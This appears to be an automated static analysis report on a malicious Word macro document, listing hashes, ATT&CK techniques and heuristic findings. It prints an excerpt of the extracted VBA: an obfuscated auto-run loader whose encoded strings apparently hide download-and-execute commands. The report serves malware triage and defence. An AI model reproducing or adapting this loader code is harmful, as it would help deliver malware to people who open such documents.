Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 435f16f14b097a01…

MALICIOUS

Office (OLE)

157.5 KB Created: 2018-04-24 07:29:00 Authoring application: Microsoft Office Word First seen: 2018-07-18
MD5: 83d1251aa828c6ecd5793f0888227e8e SHA-1: 744c042593a846d09a19500e754505295cc7a383 SHA-256: 435f16f14b097a011d9881f62d14a3ddbe0657c1e5ba7125f2f3479b5f9e8ef0
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document with a high-risk heuristic firing for a Shell() call within its VBA macros. The Document_Open macro is present, indicating execution upon opening. The extracted VBA script contains multiple calls to a function named 'SzIDnO' with obfuscated string arguments, which likely represent encoded commands or URLs for downloading and executing a secondary payload. The large slack space in the OLE file is also suspicious.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 161,280 bytes but its declared streams total only 35,046 bytes — 126,234 bytes (78%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48240 bytes
SHA-256: a712d85dedb19b613fca76f33118cfe17781637977238632e60f59c395f52074
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QGzmVKvDKm"
Sub IuAAWX(liiDS)
ViPiKj = 58620 * CDate(56986) * 89809 * 3819 * (kPrNPO - Oct(90529)) + QfoVti / CSng(JJHaoM) * 76989 * CSng(QnvMt)
End Sub
Function PuETEjGCiTu()
On Error Resume Next
MHwUW = 6187 * CDate(54447) * 58917 * 41837 * (cCsIK - Oct(46741)) + QwMwzw / CSng(cbLoV) * 11968 * CSng(JUEkkr)
KocSKbBASEW = SzIDnO("QjiA4ADhAw9", zqiTi - zqiTi + 4 + zqiTi - zqiTi, zqiTi - zqiTi + 4 + zqiTi - zqiTi)
qpCcEf = 9706 * CDate(10579) * 63443 * 85365 * (EzmhPN - Oct(27680)) + jrurn / CSng(PKSho) * 46266 * CSng(jbaIK)
bfQvvu = 35558 * CDate(24796) * 7108 * 8637 * (OItQqr - Oct(40842)) + YtzbLn / CSng(AAMbji) * 69219 * CSng(YYifE)
JFSJq = SzIDnO("tFNwRSAA2AGUANwBhAGYANgBlADcAZQBlADAAMgBlADMAZABkADcAOAAzADUAZQA5AD23", tTNXu - tTNXu + 8 + tTNXu - tTNXu, tTNXu - tTNXu + 60 + tTNXu - tTNXu)
jiodL = 79410 * CDate(83355) * 6939 * 69584 * (ARwBkc - Oct(8674)) + ISuRA / CSng(XwiqVs) * 16694 * CSng(QqrOK)
HzVfh = 73724 * CDate(38319) * 28993 * 30746 * (zjcDN - Oct(88904)) + YvuKEb / CSng(NOoluq) * 45798 * CSng(EEXnsw)
TBkdbAZfWNX = SzIDnO("AEAOAA2ADQAYQBiADQAMgBhAGQAMwA2AGQANwA0ADUAMQAwADIAZAAz2ZcKM", AwlwQR - AwlwQR + 2 + AwlwQR - AwlwQR, AwlwQR - AwlwQR + 54 + AwlwQR - AwlwQR)
aKwKqG = 62357 * CDate(72292) * 84439 * 97233 * (JrwPJ - Oct(6733)) + tRSwi / CSng(ZzHiX) * 61889 * CSng(BrhVjM)
FBkYNA = 87406 * CDate(2057) * 9447 * 48836 * (hnfvC - Oct(61797)) + BlbSYT / CSng(iSVpSd) * 71200 * CSng(pIVdk)
uUMKrV = SzIDnO("1UNgAxADQANABlADQAMQA2ADYANgAzADIAMAA1ADgAZgA5AGMAYwBjAGIANgBiAGUAMABkADkAOAA0AGEAZABiAGIANQA2AGQAYgR2@AAb", kVhdwm - kVhdwm + 3 + kVhdwm - kVhdwm, kVhdwm - kVhdwm + 98 + kVhdwm - kVhdwm)
KhZpKI = 96747 * CDate(23601) * 21410 * 54990 * (jIzaXm - Oct(56772)) + zihXL / CSng(vjdzXa) * 48343 * CSng(rrDCdN)
inStb = 60076 * CDate(82134) * 56403 * 64892 * (RYKAHn - Oct(91839)) + WLtjo / CSng(HpnNO) * 50774 * CSng(KwoZj)
BEFdAHGvrQN = SzIDnO("Fvh.gAMgAxAGYAZgBjAGEAMgAzADgANgBjADEAYwBiAGQAMgBlADkAOQBmADYAMQAxADgAYQBjADcAYQAwADEAZQAyADgANgA4ADIAZQA5ADIANQBjADkANgAxAGEAMgBlAGEAOQAyADcAMAAzAGEANQBjAGUAMQBiADEANQA3AGEAOCrin", dWHsK - dWHsK + 5 + dWHsK - dWHsK, dWHsK - dWHsK + 171 + dWHsK - dWHsK)
LYZqd = 28321 * CDate(58216) * 20207 * 63321 * (wurRA - Oct(33815)) + azzKl / CSng(rdOHJG) * 50308 * CSng(aaPjc)
iXabX = 65449 * CDate(7505) * 89981 * 13740 * (AUsKk - Oct(23762)) + XlobCE / CSng(AvJlF) * 59990 * CSng(FCMPu)
zdDbBj = SzIDnO("Rw.wAOQA5ADQAYgA5AGMANgBlADAAYgA4ADUANgAyADAAOAAzAGIAMwAwADQAOAAzADkAOQAzADcAZABjADgAYwAyAGYAYgBhADUAMABjADAANQAzAGQAOAAyADIAZABkADcAZASH", VQUJza - VQUJza + 5 + VQUJza - VQUJza, VQUJza - VQUJza + 131 + VQUJza - VQUJza)
UCSVd = 96313 * CDate(58225) * 84297 * 61603 * (Wtqak - Oct(96687)) + jcTZa / CSng(YSpbMu) * 35282 * CSng(uqocVS)
wYKup = 40251 * CDate(75328) * 23008 * 31109 * (FTYqk - Oct(6102)) + RckMSo / CSng(DCshG) * 91025 * CSng(Snvjk)
OSiqQOuosXM = SzIDnO("K@%.YAOAAxAGIAOQAwAGUAYgA1AGIAMABlAGIAYQBhADUAMgA3AGUAMwBlADQAZgBjADQANQA5ADkAMwAwADgAMAA4ADUANQBjADAAZQBlAGMAMgA5ADEAOQA4ADAAMAA5ADAAZAAyAGIAOQA3AGMANAA4ADkAZQBhAGGW0z", zEaJU - zEaJU + 5 + zEaJU - zEaJU, zEaJU - zEaJU + 160 + zEaJU - zEaJU)
MvpCB = 79305 * CDate(66384) * 43237 * 92623 * (XzjoH - Oct(59233)) + Bjjzrm / CSng(FFUAmj) * 54737 * CSng(ABnWm)
fiWSXc = 89353 * CDate(8763) * 13044 * 86230 * (CikHKD - Oct(187)) + DbJhOT / CSng(wBdUM) * 35279 * CSng(oQXFdN)
TLwFmbda = SzIDnO("DvVKhUAZAA5ADYAMQBiADcAMAA4ADUAMQAzADQAYQAwADkAZQA1AGUAMwA5ADEANgA1ADkAMgA4AGQAOAA5ADkAZAA0ADgAMQAyADYANAA3ADkANQAxAGIAZgBjAGYAZQA1ADUANgAwADEAYgAyADMANwBkAGQAYQA3AGUANgA5ADkAZQBmAGQANgA0ADkAYwBtm", KdGoHd - KdGoHd + 6 + KdGoHd - KdGoHd, KdGoHd - KdGoHd + 189 + KdGoHd - KdGoHd)
FTjrXE = 87370 * CDate(61074) * 99260 * 69084 * (ijJXVA - Oct(16488)) + Nisamj / CSng(KtUjE) * 48984 * CSng(EzIZpq)
DXMEVa = 99338 * CDate(38071) * 63600 * 78883 * (fEERU - Oct(13387)) + DZcBc / CSng(kZNDi) * 30533 * CSng(BtWirS)
zXrKS = SzIDnO("rLwKrDQAOQAwAGQANAAwADMANgAxADUAZQA5ADcAYQBlADUAYQA1ADcANQAxADYAOQBlADQANABiADEANQBjADUAMQAyADIAMgA1AGIAYwBjAl6", QSCum - QSCum + 6 + QSCum - QSCum, QSCum - QSCum + 104 + QSCum - QSCum)
iwCd
... (truncated)